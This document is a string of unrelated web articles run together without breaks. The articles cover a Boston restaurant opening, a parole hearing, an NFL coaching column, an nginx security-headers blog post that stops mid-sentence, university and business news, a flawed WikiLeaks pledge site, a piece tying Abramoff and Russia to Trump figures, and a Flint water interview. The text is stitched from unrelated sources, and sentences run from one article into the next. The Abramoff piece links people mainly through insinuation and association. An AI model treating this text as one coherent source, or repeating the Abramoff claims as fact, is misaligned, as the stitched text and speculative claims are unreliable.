AdvertisementsThe people behind a group of food trucks and brick-and-mortar restaurants are opening another permanent spot.Boston Magazine is reporting that Chicken & Rice Guys opens today in Allston, moving into a space on Harvard Avenue just north of the Brighton Avenue intersection. The new takeout shop joins other brick-and-mortars on Bedford Street in Boston's Financial District and Salem Street in Medford, along with food trucks that can be found in various parts of the Boston area. (A pop-up location is also set up at the Prudential Center as well.)Chicken & Rice Guys features halal chicken and rice with various sauce options, including BBQ and creamy garlic.The address for this new eatery in Allston is: Chicken & Rice Guys, 81 Harvard Avenue, Allston, MA, 02134. The website for all locations can be found at http://cnrguys.com/Follow us on Twitter at @hiddenboston
Labels: Allston restaurants, Boston restaurants, chicken, chicken and rice, restaurant openingsAfter spending nearly 40 years in prison, a convicted killer has again been denied parole for the murder of a Cypress police officer.Bobby Joe Denney, now 72, will remain in state prison, but will be eligible for another parole hearing in five years, according to family members of the victim who attended Thursday's parole hearing.The hearing was held at the state prison in Chino.Denney was convicted in 1977 of killing Cypress police Sgt. Donald Sowma.The officer was responding to a burglary call at a medical clinic on Nov. 19, 1976. As he went inside, he was shot and killed by Denney.Sowma remains the only police officer for Cypress killed in the line of duty.At the time of the trial, there was no death penalty or even life without possibility of parole in California. So family members of Sowma and police officers have had to continue showing up at parole hearings over the years to keep Denney behind bars.Earlier Thursday, about two dozen protesters, many of them police officers, were outside the Chino state prison to express opposition to Denney's release."Seems like it opens a wound every time we go through this again," said Jim Sowma, the officer's son. "It's real hard, real hard. And as it gets closer we start losing sleep.""I don't think he should be able to get out and enjoy his family, because he took that away from them," said Mike Idom, a retired Cypress police captain who was a cadet in 1976 and worked with Sowma.The Star-Ledger-USA TODAY Sports
"Lame duck."
"Dead man walking."
If you are just tuning in to the never-ending drama of the New York Jets, one would assume that the once-promising career of head coach Rex Ryan was over before he had a chance to revive it.
After reaching the AFC Championship game in his two first seasons, the fastest start for any coach in Jets history, Ryan has seen a fall from grace that even transcends the disappointing results on the field. Known more for his brash attitude and daring statements, Ryan has lost the benefit of the doubt after winning just 14 of his last 33 games.
Now, a change in general managers and a lack of a contract extension all but assures Ryan's exit from New York sooner or later. To exacerbate Ryan's situation, new management has traded his best player, Darrelle Revis, for an extra rookie to build around while letting a slew of veteran players walk in free agency.
The Jets are rebuilding while Rex is trying to win and save his job, setting up the coach for inevitable failure.
Right?
Not so fast.
No matter how bleak things look for the beleaguered head coach, the demise of Rex Ryan has been greatly exaggerated.
Rex has been down this path before. He has won in New York with a roster that was pegged for mediocrity, turning role players into stars and Pro Bowlers into all-timers.
Yes, Ryan has made his share of mistakes as head coach, which is part of the reason why he is in this position. Nonetheless, based on his pedigree of getting the most out of NFL rosters, there is little reason why Rex Ryan should not be with the Jets into 2014 and beyond.
How exactly can Ryan figure his way out of this seemingly impossible situation? First, we have to delve into just where Ryan has exhibited the coaching qualities needed to succeed in such dreary situations.
Talent-Maximizer
Flashback to 2009, when Florham Park was finally settling down from the drowning Brett Favre buzz, which opened the door for Rex Ryan to turn the volume back up.
With no quarterback, an average defense and few offensive weapons to lean on, it was blasphemous to pick the Jets to find a way into the postseason.
Unless you were Rex Ryan, of course.
Instead of plodding to a predictable sub-.500 record for a rookie head coach and quarterback pairing, Rex went on a playoff run that fell just a half-hour of football short of the franchise's first Super Bowl berth since 1969. He turned Darrelle Revis into a superstar, manufactured the league's best running game and hid a rookie quarterback's deficiencies.
Year Pass Defense Rush Offense Total Defense Result 2008 (Before Rex) 28th 9th 17th Missed Playoffs 2009 (Rex's Debut) 1st 1st 1st Loss in AFC Championship Game
With the exception of a few players, Ryan inherited the vast majority of his roster. All but six starters were the same from 2008 to 2009. The biggest change was clearly at quarterback, where the Jets replaced a legend in Brett Favre with a rookie with one year of starting experience at USC, Mark Sanchez.
In other words, he got every drop of talent out of a roster that had no business playing late in January—heck, even Rex thought his team was out of the race at one point.
Sure, some of this success was derived from a new coach's energy and the potential of a young quarterback.
Four years later, however, the Jets have rid the team of most of its older veterans and stars and have a young quarterback on the roster that oozes untapped potential.
Rex can no longer lean on the likes of Darrelle Revis, Mike DeVito and Thomas Jones to emerge as leaders and cornerstones of his roster. Instead, he has Muhammad Wilkerson, Quinton Coples and Chris Ivory to fill the void.
With a depleted roster that is reloaded with young pieces on both sides of the ball to work around, Rex has a chance to recapture the energy he displayed in 2009. In essence, this is a fresh start for Rex with a completely new roster that will allow him to have the same effect on the team as a new coach while carrying four years of experience on the job.
Coach-Owner Relationship
Contrary to popular belief, the owner, not the fans or media, gets to make the decisions as to who is going to coach his team—and Woody Johnson has been known to go against the grain in terms of making coaching and managerial decisions.
Johnson has always had a good relationship with Rex Ryan. He basks in the extra attention. Not once did he tell Rex to stop with his outlandish statements.
When Eric Mangini was fired after a winning season in 2008, he retained general manager Mike Tannenbaum, despite mounting speculation to the contrary.
Why was Tannenbaum retained in 2008? In short, because Johnson felt "comfortable" with Tannenbaum. He understood that there was talent on the team, but the mysterious atmosphere created by the coaching staff was the problem.
Conversely, in 2012, it was easy to see that a lack of talent was the culprit for the 6-10 2012 season, and Tannenbaum, not Ryan, was axed.
Woody Johnson leaves a lot to be desired as an owner, but he does have a good sense for what is wrong with his team and who is the most responsible, ignoring the deafening tone of the fans and media.
After all, for an owner who just traded Darrelle Revis, why would he follow suit and fire Ryan simply because he was expected to be fired? If coaching truly is the problem and the Jets are not competing, Ryan should worry—but if he gets the most out of a young roster, Johnson will not immediately pull the plug on the Rex regime just because of a poor record.
A New Source of Motivation
Rex has always been at his best when the odds are stacked against him.
In 2009, he claimed his sixth-seeded squad with 50-1 odds to win the Super Bowl should have been favored to win the tournament. The following year, his team was the only group able to upset the Patriots in Foxborough in the divisional playoffs—just over a month after losing 45-3 in the same building.
Rex has operated with a chip on his shoulder for a long time.
After reaching his goal of becoming an NFL head coach, fueling Ryan early in his tenure with the Jets was the fact that the Ravens, along with several other teams, passed him over for head-coaching jobs (via ESPN):
Coaching in Baltimore 10 years and then not getting the job, that's a thing that drives me...as much as I respect the people in the Ravens' organization, they never thought I could do the job, and that's a major chip on my shoulder.
Now four years into the job, Ryan finds himself with an entirely new set of challenges. The Jets have taken a serious beating in the media, and the Jets brand has become synonymous with failure. Ryan knows that he is assumed to be a "lame duck" coach by most of the media.
Now, Rex Ryan has found a new batch of doubters that don't believe he has what it takes to retain his right to coach the Jets:
"To say that I don't have a chip on my shoulder... well I'm going to show ya," he said. "I think that's how I've always been."
So far, Rex has been able to use outside motivation to his advantage, and with a new array of challenges, he has a new set of motivational tools to propel him.
Getting Back to Being Rex
So, what exactly does Rex Ryan have to do to remove this burdensome "chip" and get back to being the successful coach?
It all goes back to him being himself. Ryan cannot be afraid to ruffle some feathers just because it will land him on the front page of the Post.
Not long ago, there was a time where Rex had a harder time controlling his Mexican food cravings than winning football games, no matter who his quarterback was. Now over 100 pounds lighter, Ryan needs to direct his focus to getting back to being the coach he was when he was at the height of his career.
Rex should certainly learn from his mistakes over four years of coaching and perhaps not put quite as much pressure on his team with brash guarantees. But at his core, he needs be himself.
Rex should take note of how Giants coach Tom Coughlin handled a "win-or-else" season in 2007.
Known as one of the strictest coaches in the NFL who ran his teams like a military academy, Coughlin made a point to enjoy what could have been his last season as an NFL head coach. He joked around more and took more of an interest in players' lives without losing his core values:
Coughlin and the Giants went on to win the Super Bowl that season.
Rex does not necessarily need to be more carefree, but he does need to make adjustments to his coaching style without losing sight of who he is.
After all, if Ryan reverted to conducting himself like a "normal" coach, his players would look right through the disingenuous nature of his actions and see Rex as a coach trying to save his job, not put his players in a position to succeed and win games.
So far, Rex has no intentions of being anyone but himself:
No one knows exactly how the 2013 season will unfold for the Jets, especially given their youth and uncertainty at quarterback.
While it may be fair to count the Jets out of the playoffs for now, dismissing Rex Ryan's future in New York with two years left on his contract is simply unfair for a man who has accomplished a lot in four seasons.
Of course, there is a chance that Ryan will lose his job after the 2013 season. After all, there are mosquitoes with longer life expectancies than those of coaches in New York sports. As much as he has accomplished in his time as a Jet, he needs to improve as a coach.
In the end, Ryan has the tools and wherewithal to turn the Jets around and stay in New York—and as he has proven time and time again, betting against Rex is usually a losing bet.
Follow @ryanalf17Even though diogomonica.com is a statically generated blog, created using Jekyll, it's always fun to run it through security evaluation websites such as SSL Labs and Security Headers.
Unfortunately, last week, when I ran it through securityheaders.io's checker, I got the following result:
This is obviously embarrassing for someone who works in security, and even though my blog has no need for advanced security headers, I decided to change that rating to an A+.
What are these headers?
Before we turn those red warning boxes into a more pleasant light green, let me give you a high-level overview of what these headers are, and why you should make sure to include them in your web properties.
Content-Security-Policy (CSP) : allows the website to define a policy concerning which domains external javascripts, css, images, etc, can be imported and rendered from. Prevents XSS and other cross-site injections.
: allows the website to define a policy concerning which domains external javascripts, css, images, etc, can be imported and rendered from. Prevents XSS and other cross-site injections. X-Content-Type-Options : prevents IE and Google Chrome from MIME-sniffing a response away from the declared content-type.
: prevents IE and Google Chrome from MIME-sniffing a response away from the declared content-type. X-Frame-Options : protects against clickjacking attacks.
: protects against clickjacking attacks. X-XSS-Protection : essentially useless; it comes enabled by default in modern browsers.
: essentially useless; it comes enabled by default in modern browsers. Strict-Transport-Security (HSTS) : tells your browser to always connect to a particular domain over HTTPS. Attackers aren't able to downgrade connections, and users can't ignore TLS warnings.
: tells your browser to always connect to a particular domain over HTTPS. Attackers aren't able to downgrade connections, and users can't ignore TLS warnings. Public-Key-Pins (HPKP): tells your browser to associate a specific public key fingerprint with a particular domain. Prevents against an attacker getting a valid certificate from one of the hundreds of other Certificate Authorities out there.
Fixing the easy ones
This is a lot less fun to do in a production setting, since changes like this have a tendency to break obscure corners of your application, but these headers are trivial to setup and will probably have minimal impact on your website.
Since I'm running nginx as my webserver, I'll have to add add_header directives to my configuration file:
add_header X-Frame-Options "SAMEORIGIN"; add_header X-Content-Type-Options nosniff; add_header X-XSS-Protection "1; mode=block";
There isn't a lot to consider when choosing the |
to the retailer’s sales rankings customers are actually already doing so.
While there are other possibilities, this could be a hint to plans to release a packaged version of Deep Down, or a premium PSN option (since now Amazon sells PSN games as well), that could include some or all of the initial benefits usually offered with microtransactions and possibly a certain amount of in-game currency in a single promotional deal with the game.
This kind of release definitely isn’t new for free to play games, so it’s most certainly not unlikely. Capcom would get a degree of initial revenue and players would be able to play at least for a while without worrying about microtransactions.
Of course there hasn’t been any official announcement about it yet, so we have to take the listings with a proverbial grain of salt, but it wouldn’t be the first time that Amazon listings give a hint on what’s to come.UC President Mark G. Yudof announces selection for ninth chancellor of UC Riverside
Kim A. Wilcox nominated to lead UC Riverside
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Kim A. Wilcox PHOTO BY CARRIE ROSEMA
News from the University of California Office of the President
University of California President Mark G. Yudof announced today (July 25) that he has selected former Michigan State University Provost and Executive Vice President Kim A. Wilcox to serve as the ninth chancellor of the University of California, Riverside.
Wilcox, 59, professor of communicative sciences and disorders at Michigan State University, announced late last year that he would step down as provost and executive vice president on July 1 after serving in those positions since 2005. Previously, he had served as dean of the College of Liberal Arts and Sciences at the University of Kansas, from 2002 to 2005, and as president and chief executive officer of the Kansas Board of Regents from 1999 to 2002.
“Kim Wilcox brings to the University of California distinctive expertise and interests that will serve the Riverside campus and the larger community exceedingly well,” Yudof said. “He has been a dedicated teacher, scholar and researcher who also excelled as an academic leader and chief executive, always maintaining his commitment to diversity and access to higher education.”
The UC Board of Regents will act on details of the appointment, including compensation, on Aug. 8 during a special meeting in Riverside and other locations, with regents connected by telephone. The effective date of the appointment to be considered by the regents is Aug. 19.
Interim Chancellor Jane Close Conoley, who has served in the role since Chancellor Timothy White left to become chancellor of the California State University system at the end of 2012, called Wilcox an excellent choice who will have her full support as he prepares to lead the Riverside campus.
“Kim Wilcox is a stellar scholar and leader who has initiated major programs at one of the nation’s other top land grant universities, with direct relevance to UCR,” she said. “His experience with medical education is a special strength. UCR deserves the best and will continue to prosper with his leadership.”
As provost and executive vice president at Michigan State University, Wilcox oversaw more than 200 academic programs, some 49,000 students and almost 5,000 faculty and academic staff. He helped lead a capital campaign that raised $1.4 billion and implemented major institutional restructuring and strategic initiatives, and expanded the university’s two medical colleges into Grand Rapids and the Detroit area.
While he was the chief academic officer at Michigan State, the percentage of students from underrepresented groups increased, academic credentials of entering freshmen rose, the average time to degree decreased, the graduation rate increased, and the percentage of students graduating with debt decreased.
UC Board of Regents Chair Bruce Varner, who served on the search committee, said: “Kim Wilcox emerged as the top choice from an outstanding group of candidates. He has everything it takes to be not only a strong leader and advocate for the students, faculty and staff on campus, but also a positive force for the larger community.”
Wilcox, a first-generation college graduate, said he was honored to have been selected as chancellor during a particularly exciting time on the Riverside campus with the opening of its new medical school, expanding research opportunities and the potential to broaden the campus’s international reach.
“My values and interests align perfectly with UC Riverside, one of the nation’s great research universities,” he said. “I look forward to meeting with students, faculty, staff, alumni and members of the larger community, to learning and exchanging ideas and to working toward making Riverside the best it can be.”
Founded in 1907 as the UC Citrus Experiment Station, UC Riverside today has almost 22,000 students and a faculty of 700 scholars recognized internationally for teaching, research and public service in a wide variety of fields. The campus has launched a new school of medicine – California’s first new public medical school in four decades – and announced a new school of public policy.
UC Riverside’s student body is among the most diverse in the nation. Nearly 60 percent of undergraduate students are the first in their families to pursue college degrees. The campus offers 80 bachelor degree programs, 46 master’s programs, 38 Ph.D. programs and 17 California teaching and administrative credential programs; roughly one of every eight students is involved in faculty-mentored research.
Wilcox began his academic career as a faculty member at the University of Missouri. His subsequent years on the faculty of the University of Kansas included 10 as chair of the Department of Speech-Language-Hearing. From 1991–99, he directed the Native American Training Program, which he created in collaboration with the Haskell Indian Nations University, whose students and alumni represent indigenous nations from across the United States and its territories.
He graduated from Michigan State University with a bachelor’s degree in audiology and speech sciences in 1976. He earned master’s and doctoral degrees in speech and hearing science from Purdue University in 1978 and 1980, respectively.
Since early 2013, Wilcox has been on leave from Michigan State, serving in Washington, D.C., with the Partnership to Cut Hunger and Poverty in Africa, a nonprofit organization focused on contributing to a more sustainable agricultural future for African countries. He and his wife, Diane Del Buono, have been married for 36 years.
(NOTE: Out of respect for the appointment process, Wilcox and UC officials will have no further public comment until the Board of Regents acts on Aug. 8. Further details about the special meeting will be made public at least three days before the special meeting of the regents.)
Kim A. Wilcox: Biography
The top candidate to become UC Riverside’s ninth chancellor was only the second in his family to graduate from college, marking the start of a distinguished academic and administrative career that has spanned decades of teaching, research, fundraising, strategic planning and international development work.
A native of northern Michigan, Kim A. Wilcox, 59, is the former provost and executive vice president of Michigan State University and a professor of communicative sciences and disorders. As provost from 2005 to July 2013, he oversaw more than 200 academic programs with some 49,000 students and almost 5,000 faculty and academic staff.
During his time as MSU’s chief academic officer, he implemented major institutional restructuring and strategic positioning initiatives, and helped lead a capital campaign that raised $1.4 billion. The university’s external grant and contract activity rose to just over $500 million annually under his stewardship, a reflection of new research and outreach initiatives across the East Lansing campus. Among the highlights of his tenure were an increase in the percentage of students from underrepresented groups, a rise in the academic credentials of entering freshmen, a decrease in the average time to degree, an increase in the graduation rate and a decrease in the percentage of students graduating with debt. He also added 100 new faculty positions, expanded the university’s two medical colleges, and created the Residential College in the Arts and Humanities and the College of Music. He championed issues of access and diversity, and encouraged new global partnerships.
Since the beginning of 2013, Wilcox has been on leave to serve with the Partnership to Cut Hunger and Poverty in Africa, a Washington-based nonprofit coalition of U.S. and African universities, public companies and private organizations whose mission is to advocate for, and facilitate the creation of, a more sustainable agricultural future for Africa.
Wilcox graduated from Michigan State with a bachelor’s degree in audiology and speech sciences in 1976, and earned master’s and doctoral degrees in speech and hearing science from Purdue University in 1978 and 1980, respectively. He returned to his alma mater from the University of Kansas, where he served as dean of the College of Liberal Arts and Sciences and vice provost for general education coordination from 2002–05.
Among the most unexpected turns in his career was his oversight of the creation of an integrated higher education system for the state of Kansas, where he served as president and chief executive officer for the Kansas Board of Regents. It was a time of massive change in Kansas with the state legislature mandating that the board, which had overseen six state universities, reorganize to include an additional 19 community colleges, 10 technical schools and colleges, and one municipal university – for a combined enrollment of more than 150,000 students. In addition, Wilcox served as the board’s interim director of academic affairs.
Wilcox began his academic career as a faculty member at the University of Missouri. His subsequent years on the faculty of the University of Kansas included 10 as chair of the Department of Speech-Language-Hearing. From 1991–99, he directed the Native American Training Program, which he created in collaboration with the Haskell Indian Nations University, whose students and alumni represent indigenous nations from across the United States and its territories.
Wilcox also has served as chair of the Committee on Institutional Cooperation since 2011 and recently was elected chair of the Council on Academic Affairs of the Association of Public and Land Grant Universities. He credits his entire success to the education he received at land grant universities and strongly believes in the value of providing broad and diverse access to a world- class education.
Archived under: Inside UCR, California, chancellor, Jane Close Conoley, Kim A. Wilcox, land grant universities, michigan state university, press release, University of California, University of California Office of the President
Top of PageSome people seem to be taking seriously a proposal to crowd-source a $US2,147,483,647 donation to WikiLeaks if it can leak details on the controversial Trans-Pacific Partnership (TPP).
It’s certainly a plan with noble intentions — it would be a leak almost on the scale of Edward Snowden — but there’s a huge problem with it, which we’ll get to in a bit.
First, some background. The average person may not have heard of the TPP, a proposed free trade agreement under negotiation by Australia, Brunei, Chile, Canada, Japan, Malaysia, Mexico, New Zealand, Peru, Singapore, the United States, and Vietnam. Experts believe it will be very important. Ian Bremmer has called it “most important trade agreement on the world agenda right now,” for example, pointing out that almost 40 per cent of world GDP would be involved in the deal.
However, critics have two major concerns about the TPP. The first argument is that TPP’s intentions are far more radical than most realise, with lobbyists pushing an agenda that would suit the globalization aims of multinational corporations, not the average person — in particular with restrictive intellectual property laws.
The second concern is that the process is being conducted in secret, and the public is being left in the dark — as Cory Doctorow of Boing Boing points out, it’s a deal “negotiated in utmost secrecy, without public participation, whose text is still not public.” That a deal of this magnitude is being conducted in secret is understandably worrying, and there have been some leaks, but the full text of the proposed agreement remains out of the hands of the public.
This is where Just Foreign Policy, who describe themselves as an “independent and non-partisan membership organisation dedicated to reforming U.S. foreign policy,” come in. The group are apparently behind a new website offering a crowd-funded reward to WikiLeaks if they leak the entire TPP agreement.
The idea is that by giving the money to WikiLeaks rather than an individual leaker, the leaker cannot be accused of leaking for private profit (and should, hopefully, be a bit more protected from legal prosecution). Also, by crowdsourcing the money (and limiting the donations to less than $US250 per individual), the group says they are able to “promote the idea we are all invested in the outcome of these negotiations.”
Understandably, the plan has attracted some attention, making its way to the front page of Reddit and being widely shared on Twitter. But — here comes the bad part — the way the plan has been implemented is laughably flawed.
The biggest problem is most basic. The website is asking only that users “pledge” to donate that money if the TPP deal is leaked. There’s no guarantee whatsoever that you actually have to pay that money, so already the final figure is going to be a bit suspect. What’s worse, is that the website doesn’t actually require a valid name or email address to donate. Hence, I was just able to pledge $US250 as “Guy Incognito” with some phony email address. Anyone can do this.
It gets worse. Reddit users noticed that a pledge of $US2,147,483,647 seemed a little bit high — in fact, it’s the maximum value for a 32-bit signed integer in computing, meaning that either the amount donated has reached its absolute maximum, or there is some other type of error. Another Reddit user noticed that if you turn off Javascript on the website, you can “pledge” to “donate” any amount of money you’d like (for example, Guy Incognito just pledged $US100 billion). Amazingly, it appears that the website was designed on Adobe Dreamweaver.
There are plenty of great ways to argue that leaking the text of the TPP would be a good thing to do, but unfortunately, no matter how noble this plan is, it’s incredibly flawed. The best we can hope for from this current plan is that it raises awareness of a serious issue.
We’ve reached out to both WikiLeaks and Just Foreign Policy to comment on the website, and will update if/when they respond.
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Follow Business Insider Australia on Facebook, Twitter, LinkedIn, and Instagram.WASHINGTON, June 8 (Reuters) - A Republican businessman said on Monday he is pouring millions of dollars into a foundation that sees opportunities where the majority of his fellow party members do not: easing climate change and speeding the country’s transition to clean energy.
Jay Faison of Charlotte, North Carolina, has given $165 million to Clearpath, his foundation dedicated to explaining to centrist Republicans climate science and business opportunities in solar and other forms of green energy. In addition, he is giving $10 million to a related political nonprofit to raise additional funds.
The foundation aims to move the Republicans away from the party line of raising doubts about the science of climate change.
“There’s a lot of good solutions, but we are not going to get there if we keep arguing about the problem,” said Faison, a founder of audio-visual system companies.
The foundation has invested between $1 million and $9 million in three or four solar energy projects, he said. “We need more than twice the investment in clean energy than we are currently getting,” he said about the country’s power infrastructure, adding that the solar investments are a small part of what the foundation does.
Separately, Faison has also donated to Republicans Jeb Bush, former governor of Florida, and South Carolina Senator Lindsey Graham. Graham is seeking the presidency in 2016, and Bush is expected next week to declare his bid.
Bush said in New Hampshire last month that climate change is real, but added it is “arrogant” for people to say how much of it is man-made. Graham briefly supported a cap-and-trade bill in the Senate that later died in 2010, and calls for a debate on how to fight climate change without hurting the economy.
Faison joins a small but growing list of Republicans who see business opportunities in green energy. Debbie Dooley, a member of the so-called Green Tea Coalition, and former Congressman Barry Goldwater, Jr., have also led a conservative charge into solar power
While Clearpath.org, the foundation’s website, explains why some major oil companies, including Exxon Mobil, ConocoPhillips, and Shell, add a carbon price into their evaluations of prospective projects, Faison stopped short of picking his favorite carbon pricing mechanism.
“There’s a lot of options on the menu, and it’s a little early to talk about which options are right,” he said. “We want to elevate the discussion about those menu items.” (Reporting by Timothy Gardner; Editing by Ken Wills)Saturday, May 21, 2011 at 10:20AM
The hand-wringing on this one has been so boring. The world allows China to become the near monopolistic supplier of rare earths because nobody apparently wants to spend the money and suffer the environmental hassles of keeping their own mines open. Then China, as it moves into higher-end production modes, starts, with its usual backward attitude, to obsess over the security of supplies. Export controls are discussed and then implemented. Then the West is shocked - shocked! - to discover this huge vulnerability only a couple of decades in the slo-mo making, and op-eds are cranked ad nauseum about this significant national security threat.
Predictably, Congress blows hard on the subject, and voila! The owner of the once-booming US mine is now seeking investments for "secure" supplies. Rest assured this is happening pretty much anywhere else in the world where not-so rare earths are actually found. Crisis averted! Whew!
Now, pontificating types are opining that rare earths symbolize America finally waking up to being "disemboweled" by China and India all these years and finally starting to take back those jobs!
It is all good theater, and Molycorp Minerals should clean up on their US mine, but historic turning point it is not. It's just another example of rising demand creating temporary scarcity and clever people cleaning up on that basis, with their local congressman as front-man. God bless them. But spare me the larger meaning.Las Vegas newest arena has T-Mobiles name on it, and magenta lights as far as the eye can see. Its huge at 650,000 square feet (~60,385 square meters) and deep rather than wide, in order to give the best views of the arena below from any seat. The arena is also able to accommodate 20,000 visitors.
T-Mobile Product Manager @askdes gives us a first look at the new arena and tells us about some of the perks that T-Mobile customers can get just for being a subscriber. T-Mobile customers have their own entry so they dont have to wait in line as long. They are also given access to exclusive ticket presales for events and matches.
T-Mobile has even created its own magenta cocktail: the Atomic Fizz which will also be available at the Hyde lounge, a night club that'll be located at the tippy top floor of the arena.
Do you think these T-Mobile perks could potentially win the company more customers? If this arena opened in your area, would you consider switching to T-Mobile for VIP entry and early ticket sales?
Source Via TwitterJack Abramoff had been at the Center of Republican politics his entire adult life, so him being involved with this Russia issue should not come as a surprise. As the President of the College Republicans, he wrote a letter to Trump Mentor Roy Cohn asking for money to help fund his goals. While working for the College Republicans, he cultivated with future Republican Stalwarts Ralph Reed, Paul Erickson, and Grover Norquist.
After leaving the College Republicans, Abramoff went off and joined the Council for National Policy, the secretive right wing group behind what the Clintons referred to as the “Vast Right Wing Conspiracy.” He founded a group to support Apartheid and also worked alongside Charlie Black and Paul Manafort to lobby for Joseph Savimbi in the 80’s.
Once the Soviet Union fell, it was open season for the Council for National Policy. Founder Paul Weyrich and Robert Krieble immediately opened Heritage Foundation offices in Moscow as well as opening the Krieble Institute. Russian oil companies started hiring American lobbyists to lobby for them over the time; including Rudy Giuliani, Jim Baker, Michael Caputo, and others. But, the most underreported but most important part of the Abramoff Scandal is his work for Russia.
NaftaSib, a secretive oil company that might be a cover for Gazprom created two shell companies in the 90s. They formed Voor Huisen in the Netherlands and Chelsea Commercial in the Bahamas. Both listed Abramoff as a lobbyist for them. Another lobbyist registered with Chelsea Commercial was Patrick Pizzella.
Abramoff used his contacts and other lobbying firms to bring Ed Buckham, Conrad Burns, Bob Ney and Tom to Russia to meet with the Russian government and Naftasib executives. Pizzella also used this time to bring Kellyanne Conway and the editor of the Nixon Center’s Publication, The National Interest on some of the trips as well. Ed Buckham used his 501cb US Family Network company to funnel millions of dollars from the Russians to Abramoff, which Ralph Reed also worked for.
In November 1998, Abramoff met Sergei Kiryenko at Dulles International Airport for five days of meetings with Republican lawmakers.
Buckham also ran a consulting firm, Alexander Strategy Group, which he used to represent Abramoff as well as Blackwater worldwide, the private mercenary force run by Erik Prince. Paul Behrends was registered lobbyist for the Group. Behrends was friends with Prince, and both worked for Dana Rohrabacker at separate points. When Delay was finally caught, he hired Don Mcgahn to defend him.
In 2009, The Council for National Policy created the “Conservative Action Project” aimed at making sure Obama failed at everything he did. The only paid member at the time was Patrick Pizzella, but former Reaganite Ed Meese and Kellyanne Conway were the other members of the C.A.P.
Don McGahn went on to represent Patton Boggs, a firm hired to lobby for Gazprom, before ultimately landing as Trump’s White House Counsel. Paul Behrends is the Staff Director for the House Foreign Affairs Committee. Paul Erickson is now working with Putin Russians. Ralph Reed joined the CNP and so did Grover Norquist, but Grover Norquist also joined the pro Russian think tank “The Center for the National Interest” which recently changed its name from the Nixon center. Erik Prince is considered a shadow advisor to Trump. During the Abramoff scandal, Bob Ney’s office manager was Corey Lewandowski. Dana Rohrabacker came to be known as Putin’s favorite Congressman and a close friend of Abramoff before becoming a Trump ally.
Is it possible Abramoff started this whole issue?Before Flint’s water made national headlines, before it was deemed contaminated enough to be considered toxic waste, before it was discovered to cause of lead poisoning in young children, before it brought to action everyone from President Obama to Pearl Jam, Ron Fonger was asking questions.
A veteran reporter for The Flint Journal and MLive, Fonger has written more than 250 stories on the city’s water issues since its water supply was switched to the Flint River in April 2014, a cost-cutting move that turned out to be disastrous. Early on, he hounded local government officials who repeatedly assured citizens that the river water was drinkable. (In a piece published on Sept. 14, 2014, Fonger quoted ex-Flint Mayor Dayne Walling as saying, “It’s a quality, safe product. I think people are wasting their precious money buying bottled water.”)
The media has been criticized for its lack of early coverage of Flint’s water debacle, though journalists such as Fonger and Curt Guyette of the ACLU of Michigan laid crucial groundwork for the issue to finally reach the national spotlight. To get a clearer timeline of the fallout in Flint, one can browse back to the start of Fonger’s tackling of the topic—he heard complaints about the water’s appearance, taste and smell just days after the switch in the supply. He reported on the rash of positive tests for total coliform bacteria in the water and an elevated presence of total trihalomethanes (TTHMs), which are linked with bladder cancer. Fonger obtained documents that show Flint filed false reports about testing for lead in the water and later wrote about Virginia Tech’s alarming findings that the drinking water was causing lead contamination in homes.
In between covering the latest developments in the water disaster—including the recent release of Michigan Gov. Snyder’s emails—Ron answered questions in a Reddit AMA and spoke with Upvoted. Here’s what he had to say.
When were you first alerted to issues with Flint’s water?
I started hearing things in the first half of 2014, in the days and weeks after they switched [to the Flint River]. At first, it was anecdotal stuff. People would show up at city council meetings with a jug of water that was discolored and say, “Something is wrong with the water. It’s coming out of the tap this way and burning my kids and making my hair fall out.” People were complaining that it had a heavy chemical smell.
The city’s infrastructure was in really bad shape before this ever happened. That winter, we had hundreds of water main breaks and bacteria was getting in the water. There were boil-water advisories being issued. That went on for a long time and people never stopped complaining.
What happened next?
At the very end of 2014 or the beginning of 2015, there was a night I remember very clearly. It was a Friday at the end of the day, and I got a call from a city council member. We were just kind of talking shop and he said, “Yeah, it’s gonna be great. We’ve got this cancer-causing chemical in our water.” And I said, “What are you talking about?” And he was like, “I was just over at City Hall. They just sent out notices today to everyone in the city saying they have high levels of TTHM (total trihalomethanes) in the water.”
TTHM is a byproduct of chlorinating water, and a carcinogen. And I’m like, “What in the world? Why would they send that out and not give people some kind of explanation or warning?” There was no discussion of it. I got a hold of some people at the city and they were like, ‘Oh yeah, we were gonna tell you about that.” And I’m like, “We need to talk to somebody right now. You guys are going to scare the crap out of people. You need to explain what’s happened.” That started months and months and months of Flint being out of compliance with the Safe Drinking Water Act.
What did city officials originally say about the water?
The former Department of Public Works Director [Howard Croft] was constantly having to defend the quality of the water. Our residents brought in a sample of water in a water bottle and set it on a table and said, “You think this is good water? You drink it.” So I saw him pick up the bottle of water and drink it.
From the start of this, there has been a lot of denial from the city and the state. Every time someone raised a question, their response was always, “Well, the water meets all the standards” or “Yes, we’re out of compliance on this or that but we’re working on it and the water is safe.”
What were some of your biggest reports?
We were first to report on the study by Dr. Mona Hanna-Attisha from the Hurley Medical Center in Flint who went back and looked at the blood lead data that the state maintains in the database and was able to determine that not only did we have elevated lead in the water, but also that the percentage of kids with elevated blood lead levels had doubled since we switched to the Flint river. That really shifted the story into high gear.
We were also able to show through FOIA (the Freedom of Information Act) that the city was filing false reports with the state about its lead testing program. One of the things people found out was that if you have a lead service line leading to your house, which about half the houses in Flint do, you have a lot higher chance of having elevated lead in your water. And so we started asking, “Hey, why don’t you show us which houses have lead service lines so we know who should be concerned? The city’s response was, “Well, those records aren’t easily accessible. They’re kept on maps and we have data on about 45,000 index cards.” These were like flash cards that you see at school. That was incredible.
So we FOIA’d the copies of the index cards. We looked at the cards and the majority of the addresses didn’t have any data at all to support that they had lead service lines. So it was like, “Okay, you guys are vastly understating the problem and your tests are kind of invalid.”
Why do you think the issue was so slow to receive national attention?
The information didn’t all come out at once. It was like there was a new development and it turned the screw a little bit more. It felt like we were building a historical record of things. I had no idea we were going to end up where we are now. The more we find out about it, the worse the situation looks.
What are the most heartbreaking stories you’ve heard from residents?
It’s not one of those stories where someone says, ‘My son drank the water and then he was dead.’ It’s more like, ‘My son drank the water for the past year and now everything we know about lead says this will cost him points off his IQ and could cause behavioral problems.” But I’ve seen people show up at town hall meetings and start crying about the personal fallout in their own lives. Now there’s the news of Legionnaires’ Disease—10 people in the area died. They haven’t been able to say yes or no to there being a connection between Legionnaires’ and the water, but if there is, that would be the ultimate fallout.
Has your own life been affected by the crisis?
I live in Flushing Township, but I work in Flint. At the office, we have lead-clearing filters in place. The water tastes fine.
As we know, newspapers are in a dire state. Has that affected your reporting on this?
